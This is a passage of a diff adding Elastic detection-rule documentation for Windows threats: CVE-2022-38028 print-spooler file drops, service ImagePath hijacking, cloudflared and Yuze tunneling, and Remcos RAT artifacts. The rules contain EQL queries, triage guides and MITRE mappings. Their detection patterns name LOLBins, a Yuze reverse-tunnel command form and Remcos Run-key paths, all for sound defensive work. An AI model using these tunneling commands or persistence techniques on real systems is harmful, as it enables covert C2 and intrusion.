critical paths: "?:\\*\\Windows\\system32\\DriVerStoRe\\FiLeRePoSiToRy\\*\\MPDW-constraints.js" or "?:\\*\\Windows\\WinSxS\\amd64_microsoft-windows-printing-printtopdf_*\\MPDW-constraints.js". +- Check the file creation and modification timestamps to determine when the file was placed or altered in the system directories. +- Investigate the source of the file by examining recent user activity and process execution logs around the time the file appeared, focusing on any suspicious or unauthorized actions. +- Correlate the event with other data sources such as Sysmon, Microsoft Defender XDR, or SentinelOne to identify any related suspicious activities or processes that might indicate exploitation attempts. +- Assess the risk and impact by determining if the affected system has any sensitive roles or access that could be leveraged by an attacker through privilege escalation. +- If malicious activity is confirmed, initiate containment measures such as isolating the affected system and conducting a full malware scan to prevent further exploitation. + + +*False positive analysis* + + +- Legitimate software updates or installations may place JavaScript files in the monitored directories. Verify the source and integrity of the software to ensure it is from a trusted vendor. +- System administrators or automated scripts might deploy or modify JavaScript files in these paths for legitimate configuration purposes. Review change management logs to confirm authorized activities. +- Security tools or system maintenance processes could temporarily create or modify files in these directories. Cross-reference with scheduled tasks or security tool logs to validate these actions. +- Exclude known benign applications or processes that frequently interact with the specified file paths by creating exceptions in the detection rule to reduce noise. +- Regularly update the detection rule to incorporate new intelligence on false positives, ensuring it remains effective and relevant. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further exploitation or lateral movement by the adversary. +- Terminate any suspicious processes related to the Windows Print Spooler service to halt ongoing exploitation attempts. +- Remove unauthorized JavaScript files, specifically "MPDW-constraints.js", from the identified critical paths to eliminate the immediate threat. +- Apply the latest security patches and updates from Microsoft to address CVE-2022-38028 and ensure the system is protected against known vulnerabilities. +- Conduct a thorough review of user accounts and privileges on the affected system to identify and revoke any unauthorized privilege escalations. +- Monitor the network and system logs for any signs of further exploitation attempts or related suspicious activities, using enhanced detection rules. +- Report the incident to the appropriate internal security team or external authorities if required, providing detailed information about the exploitation attempt and actions taken. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.name : "MPDW-constraints.js" and + file.path : ( + "?:\\*\\Windows\\system32\\DriverStore\\FileRepository\\*\\MPDW-constraints.js", + "?:\\*\\Windows\\WinSxS\\amd64_microsoft-windows-printing-printtopdf_*\\MPDW-constraints.js", + "\\Device\\HarddiskVolume*\\*\\Windows\\system32\\DriverStore\\FileRepository\\*\\MPDW-constraints.js", + "\\Device\\HarddiskVolume*\\*\\Windows\\WinSxS\\amd64_microsoft-windows-printing-printtopdf_*\\MPDW-constraints.js" + ) and + not process.executable : ( + "?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe", + "?:\\Windows\\System32\\taskhostw.exe" + ) and + not file.path : ( + "?:\\$WINDOWS.~BT\\NewOS\\Windows\\WinSxS\\*\\MPDW-constraints.js", + "\\Device\\HarddiskVolume*\\$WINDOWS.~BT\\NewOS\\Windows\\WinSxS\\*\\MPDW-constraints.js" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Services File Permissions Weakness +** ID: T1574.010 +** Reference URL: https://attack.mitre.org/techniques/T1574/010/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-privilege-escalation-via-service-imagepath-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-privilege-escalation-via-service-imagepath-modification.asciidoc new file mode 100644 index 0000000000..1aa4a07a85 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-privilege-escalation-via-service-imagepath-modification.asciidoc @@ -0,0 +1,203 @@ +[[prebuilt-rule-8-19-21-potential-privilege-escalation-via-service-imagepath-modification]] +=== Potential Privilege Escalation via Service ImagePath Modification + +Identifies registry modifications to default services that could enable privilege escalation to SYSTEM. Attackers with privileges from groups like Server Operators may change the ImagePath of services to executables under their control or to execute commands. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cube0x0.github.io/Pocing-Beyond-DA/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Elastic Endgame + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via Service ImagePath Modification* + + +Windows services are crucial for system operations, often running with high privileges. Adversaries exploit this by altering the ImagePath registry key of services to execute malicious code with elevated privileges. The detection rule identifies suspicious modifications to service ImagePaths, focusing on changes that deviate from standard executable paths, thus flagging potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the specific registry key and value that triggered the alert to confirm it matches one of the monitored service keys, such as those listed in the query (e.g., *\LanmanServer, *\Winmgmt). +- Examine the modified ImagePath value to determine if it points to a non-standard executable path or a suspicious executable, especially those not located in %systemroot%\system32\. +- Check the process.executable field to identify the process responsible for the registry modification and assess its legitimacy. +- Investigate the user account associated with the modification event to determine if it has elevated privileges, such as membership in the Server Operators group. +- Correlate the event with other logs or alerts to identify any related suspicious activities, such as unexpected service starts or process executions. +- Review recent changes or activities on the host to identify any unauthorized access or configuration changes that could indicate a broader compromise. + + +*False positive analysis* + + +- Legitimate software updates or installations may modify service ImagePaths. Users can create exceptions for known update processes or installation paths to prevent false positives. +- System administrators might intentionally change service configurations for maintenance or troubleshooting. Document and exclude these changes by adding exceptions for specific administrator actions or paths. +- Custom scripts or automation tools that modify service settings as part of their operation can trigger alerts. Identify and whitelist these scripts or tools to avoid unnecessary alerts. +- Some third-party security or management software may alter service ImagePaths as part of their functionality. Verify the legitimacy of such software and exclude their known paths from detection. +- Changes made by trusted IT personnel during system configuration or optimization should be logged and excluded from alerts to reduce noise. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified as running from non-standard executable paths, especially those not originating from the system32 directory. +- Restore the modified ImagePath registry key to its original state using a known good configuration or backup. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or persistence mechanisms. +- Review and audit user accounts and group memberships, particularly those with elevated privileges like Server Operators, to ensure no unauthorized changes have been made. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for future modifications to service ImagePath registry keys, focusing on deviations from standard paths to detect similar threats promptly. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and process.executable != null and + registry.data.strings != null and registry.value == "ImagePath" and + registry.key : ( + "*\\ADWS", "*\\AppHostSvc", "*\\AppReadiness", "*\\AudioEndpointBuilder", "*\\AxInstSV", "*\\camsvc", "*\\CertSvc", + "*\\COMSysApp", "*\\CscService", "*\\defragsvc", "*\\DeviceAssociationService", "*\\DeviceInstall", "*\\DevQueryBroker", + "*\\Dfs", "*\\DFSR", "*\\diagnosticshub.standardcollector.service", "*\\DiagTrack", "*\\DmEnrollmentSvc", "*\\DNS", + "*\\dot3svc", "*\\Eaphost", "*\\GraphicsPerfSvc", "*\\hidserv", "*\\HvHost", "*\\IISADMIN", "*\\IKEEXT", + "*\\InstallService", "*\\iphlpsvc", "*\\IsmServ", "*\\LanmanServer", "*\\MSiSCSI", "*\\NcbService", "*\\Netlogon", + "*\\Netman", "*\\NtFrs", "*\\PlugPlay", "*\\Power", "*\\PrintNotify", "*\\ProfSvc", "*\\PushToInstall", "*\\RSoPProv", + "*\\sacsvr", "*\\SENS", "*\\SensorDataService", "*\\SgrmBroker", "*\\ShellHWDetection", "*\\shpamsvc", "*\\StorSvc", + "*\\svsvc", "*\\swprv", "*\\SysMain", "*\\Themes", "*\\TieringEngineService", "*\\TokenBroker", "*\\TrkWks", + "*\\UALSVC", "*\\UserManager", "*\\vm3dservice", "*\\vmicguestinterface", "*\\vmicheartbeat", "*\\vmickvpexchange", + "*\\vmicrdv", "*\\vmicshutdown", "*\\vmicvmsession", "*\\vmicvss", "*\\vmvss", "*\\VSS", "*\\w3logsvc", "*\\W3SVC", + "*\\WalletService", "*\\WAS", "*\\wercplsupport", "*\\WerSvc", "*\\Winmgmt", "*\\wisvc", "*\\wmiApSrv", + "*\\WPDBusEnum", "*\\WSearch" + ) and + not ( + registry.data.strings : ( + "?:\\Windows\\system32\\*.exe", + "%systemroot%\\system32\\*.exe", + "%windir%\\system32\\*.exe", + "%SystemRoot%\\system32\\svchost.exe -k *", + "%windir%\\system32\\svchost.exe -k *" + ) and + not registry.data.strings : ( + "*\\cmd.exe", + "*\\cscript.exe", + "*\\ieexec.exe", + "*\\iexpress.exe", + "*\\installutil.exe", + "*\\Microsoft.Workflow.Compiler.exe", + "*\\msbuild.exe", + "*\\mshta.exe", + "*\\msiexec.exe", + "*\\msxsl.exe", + "*\\net.exe", + "*\\powershell.exe", + "*\\pwsh.exe", + "*\\reg.exe", + "*\\RegAsm.exe", + "*\\RegSvcs.exe", + "*\\regsvr32.exe", + "*\\rundll32.exe", + "*\\vssadmin.exe", + "*\\wbadmin.exe", + "*\\wmic.exe", + "*\\wscript.exe" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Services Registry Permissions Weakness +** ID: T1574.011 +** Reference URL: https://attack.mitre.org/techniques/T1574/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-protocol-tunneling-via-cloudflared.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-protocol-tunneling-via-cloudflared.asciidoc new file mode 100644 index 0000000000..8fedb790ce --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-protocol-tunneling-via-cloudflared.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-21-potential-protocol-tunneling-via-cloudflared]] +=== Potential Protocol Tunneling via Cloudflared + +Identifies the use of Cloudflare Tunnel (cloudflared) to expose a local service or create an outbound tunnel. Adversaries may abuse quick tunnels (e.g. tunnel --url http://127.0.0.1:80) or named tunnels to proxy C2 traffic or exfiltrate data through Cloudflare's edge while evading direct connection blocking. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/install-and-setup/tunnel-useful-commands/ +* https://attack.mitre.org/techniques/T1572/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Protocol Tunneling via Cloudflared* + + +Cloudflare Tunnel (cloudflared) is a legitimate tool for exposing local services through Cloudflare's edge. Adversaries abuse it to create quick or named tunnels for C2, data exfiltration, or ingress tool transfer while evading direct connection blocking. + + +*Possible investigation steps* + + +- Confirm the process command line for `tunnel`, `--url`, or `tunnel run` to validate cloudflared tunnel usage. +- Identify the parent process and process executable path; cloudflared run from temp or user writable locations is more suspicious than from Program Files. +- For quick tunnel (`--url http://...`), identify the local URL and whether it could be a C2 callback or proxy. +- Correlate with network data for outbound connections to Cloudflare IPs or trycloudflare.com-style hostnames around the same time. +- Review the user and session that started the tunnel; look for other suspicious logon or execution from the same context. + + +*False positive analysis* + + +- Legitimate use of Cloudflare Tunnel for development or internal services may trigger this rule; consider allowlisting by path or user for approved use cases. + + +*Response and remediation* + + +- If unauthorized tunnel use is confirmed: isolate the host, terminate the cloudflared process, and block cloudflared or Cloudflare tunnel domains at DNS/firewall where policy permits. +- Rotate credentials for any accounts that may have been exposed over the tunnel. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "cloudflared.exe" or ?process.pe.original_file_name == "cloudflared.exe" or ?process.code_signature.subject_name : "Cloudflare, Inc.") and process.args : "tunnel" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: External Proxy +** ID: T1090.002 +** Reference URL: https://attack.mitre.org/techniques/T1090/002/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-protocol-tunneling-via-yuze.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-protocol-tunneling-via-yuze.asciidoc new file mode 100644 index 0000000000..9fb5f2da7e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-protocol-tunneling-via-yuze.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-21-potential-protocol-tunneling-via-yuze]] +=== Potential Protocol Tunneling via Yuze + +Identifies execution of Yuze, a lightweight open-source tunneling tool used for intranet penetration. Yuze supports forward and reverse SOCKS5 proxy tunneling and is typically executed via rundll32 loading yuze.dll with the RunYuze export. Threat actors may use it to proxy C2 or pivot traffic. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1572/ +* https://github.com/P001water/yuze +* https://www.trendmicro.com/tr_tr/research/26/c/dissecting-a-warlock-attack.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Protocol Tunneling via Yuze* + + +Yuze is a C-based tunneling tool used for intranet penetration and supports forward and reverse SOCKS5 proxy tunneling. It is commonly executed as `rundll32 yuze.dll,RunYuze reverse -c :` and has been observed in threat actor campaigns. + + +*Possible investigation steps* + + +- Confirm the command line contains `yuze.dll` and `RunYuze`; typical form is `rundll32 yuze.dll,RunYuze reverse -c :`. +- Extract the remote endpoint from the `-c` argument (C2 or relay) and look up the IP/domain in threat intelligence. +- Locate where yuze.dll was loaded from; check file creation time to see if it was recently dropped. +- Identify the parent process that started rundll32 (script, scheduled task, exploit, etc.) to understand the execution chain. +- Correlate with network events for outbound connections from this host to the IP/port in the command line. + + +*False positive analysis* + + +- Legitimate use of Yuze is rare; most hits are likely malicious or red-team. If you use Yuze for authorized testing, consider an exception by host or user. + + +*Response and remediation* + + +- Isolate the host and terminate the rundll32 process. +- Remove yuze.dll from disk and hunt for other copies or related artifacts. +- Block the C2/relay IP or domain at DNS/firewall; rotate credentials if the tunnel was used for access. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + (process.args : "reverse" and process.args : ("-c", "-s")) or + (process.args : ("proxy", "fwd") and process.args : "-l") + ) and + (?process.code_signature.exists == false or process.name : "rundll32.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-remcos-trojan-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-remcos-trojan-execution.asciidoc new file mode 100644 index 0000000000..55337574d4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-remcos-trojan-execution.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-21-potential-remcos-trojan-execution]] +=== Potential REMCOS Trojan Execution + +Identifies known file and registry traces of the REMCOS Remote Access Trojan, including log files, persistence values, and cleanup artifacts. Adversaries use Remcos to maintain persistent remote access to compromised hosts. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.registry-* +* logs-endpoint.events.file-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://any.run/malware-trends/remcos +* https://attack.mitre.org/software/S0332/ +* https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential REMCOS Trojan Execution* + + + +*Possible investigation steps* + + +- Which Remcos-related artifact family matched, and does it indicate install, persistence, or cleanup evidence? + - Focus: `event.category` plus the matched `file.path`, `registry.path`, `registry.value`, `registry.data.strings`, and whether the trace's user profile or hive scope matches `user.id`. + - Implication: "logs.dat" indicates active or recent keystroke/clipboard logging; a Run-key or licence registry path indicates persistence is set; a temp-file deletion indicates installer cleanup. The artifact's user profile or hive scope identifies which account is compromised. + +- Which process or user touched the Remcos trace, and does that writer fit detonation, remediation, or malware execution? + - Focus: the recovered writer identity and launch context, especially `process.executable`, `process.code_signature.subject_name`, `process.parent.executable`, and `user.id`. + - Hint: if the source event lacks process identity, recover the writer via `process.entity_id` or `process.pid` plus a tight time window on the same `host.id`. + - Implication: if the writer is an unknown binary on a non-lab host, treat it as the Remcos payload or its installer. If the writer is a known sandbox, detonation engine, or IR cleanup tool on a designated lab host, the trace is expected. + +- What payload or persistence target do adjacent file and registry events resolve to? + - Focus: file and registry events on the same `host.id`: `file.path`, `file.Ext.original.path`, `registry.path`, `registry.data.strings`, and any payload or autorun target tied to `process.entity_id`. + - Implication: a surviving Run-key target, startup copy, or staged binary under `%APPDATA%` or `%TEMP%` confirms the infection has active persistence and the payload is still present. Bounded removal of those artifacts without a surviving payload indicates cleanup is underway but verify that ALL persistence mechanisms are gone, not just the ones visible in the alert. + +- Is there active outbound C2 or proxy traffic on this host? + - Focus: host-scoped network events around the alert time, checking `dns.question.name`, `dns.resolved_ip`, `destination.ip`, `destination.port` for connections to rare public destinations, direct-IP egress, dynamic-DNS infrastructure, or unusual ports consistent with Remcos controller or SOCKS proxy use. + - Implication: active C2 traffic confirms the infection is live and requires immediate containment; absence of C2 traffic may indicate the payload was already removed or has not yet activated. Missing network telemetry is unresolved, not benign. + +- If the local evidence stays suspicious, does this host or user show related alerts that explain precursor compromise or follow-on access? + - Focus: related alerts for the same `host.id` and `user.id` in the last 48 hours to identify delivery, persistence, credential, command-and-control, or lateral-movement activity. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when the host or user shows delivery, credential theft, or follow-on remote-access alerts after the artifact; keep the case narrower when related activity is absent or resolves to one detonation or remediation workflow. + +- Escalate when the artifact, writer, persistence status, C2 activity, or alert scope align with active Remcos execution; close only when all evidence fits a recognized detonation or remediation workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Malware-analysis or detonation hosts can legitimately create Remcos traces. Confirm it when the writer identity, `host.id`, and any network activity all stay inside a known lab or sandbox environment. If lab records are unavailable, require the same writer and `host.id` to recur across prior alerts. +- Incident-response cleanup can remove Remcos artifacts. Confirm it when the writer matches a known cleanup tool, surrounding events show bounded removal, and no new C2 or lateral-movement activity follows. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the confirmed writer, `host.id`, and artifact family that justified the closure. Create an exception only if that same workflow recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the matched `file.path` or `registry.path`, `registry.data.strings`, recovered `process.entity_id`, writer executable and parent context. Apply the least disruptive reversible containment that matches the findings, starting with outbound restrictions on confirmed destinations and using host isolation only when active command-and-control or lateral movement is still plausible for that asset. Avoid destructive cleanup until scope is clearer. +- If confirmed malicious, use endpoint response to isolate the host after weighing host criticality and record the `process.entity_id`, command line, parent chain, and trace paths. If direct endpoint response is unavailable, escalate with that evidence set to the team that can contain the host and implicated accounts. +- Before eradicating or reimaging, review other hosts and users for the same writer identity, artifact family, or C2 destinations so scoping is complete. For confirmed infections, consider reimaging over manual cleanup -- Remcos can establish multiple persistence mechanisms and manual eradication risks missing one. If reimaging is not feasible, eradicate all identified Remcos artifacts including Run keys, licence-related registry paths, staged binaries, "logs.dat", and linked temp artifacts, then verify no alternate persistence survives. +- Post-incident hardening: review how the payload reached the host, restrict user-writable persistence paths where practical, and retain registry and network telemetry for Remcos-related activity. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] +- https://ela.st/sysmon-event-23-setup[Sysmon Event ID 23 - File Delete] + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and +( + (event.category == "file" and event.type == "deletion" and file.path like "?:\\Users\\*\\AppData\\Local\\Temp\\TH????.tmp") or + + (event.category == "file" and file.path : "?:\\Users\\*\\AppData\\Roaming\\remcos\\logs.dat") or + + (event.category == "registry" and + registry.value : ("Remcos", "Rmc-??????", "licence") and + registry.path : ( + "*\\Windows\\CurrentVersion\\Run\\Remcos", + "*\\Windows\\CurrentVersion\\Run\\Rmc-??????", + "*\\SOFTWARE\\Remcos-*\\licence", + "*\\Software\\Rmc-??????\\licence" + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-remote-desktop-shadowing-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-remote-desktop-shadowing-activity.asciidoc new file mode 100644 index 0000000000..f4e87bad73 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-remote-desktop-shadowing-activity.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-21-potential-remote-desktop-shadowing-activity]] +=== Potential Remote Desktop Shadowing Activity + +Identifies the modification of the Remote Desktop Protocol (RDP) Shadow registry or the execution of processes indicative of an active RDP shadowing session. An adversary may abuse the RDP Shadowing feature to spy on or control other users active RDP sessions. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.registry-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.bitsadmin.com/spying-on-users-using-rdp-shadowing +* https://swarm.ptsecurity.com/remote-desktop-services-shadowing/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and 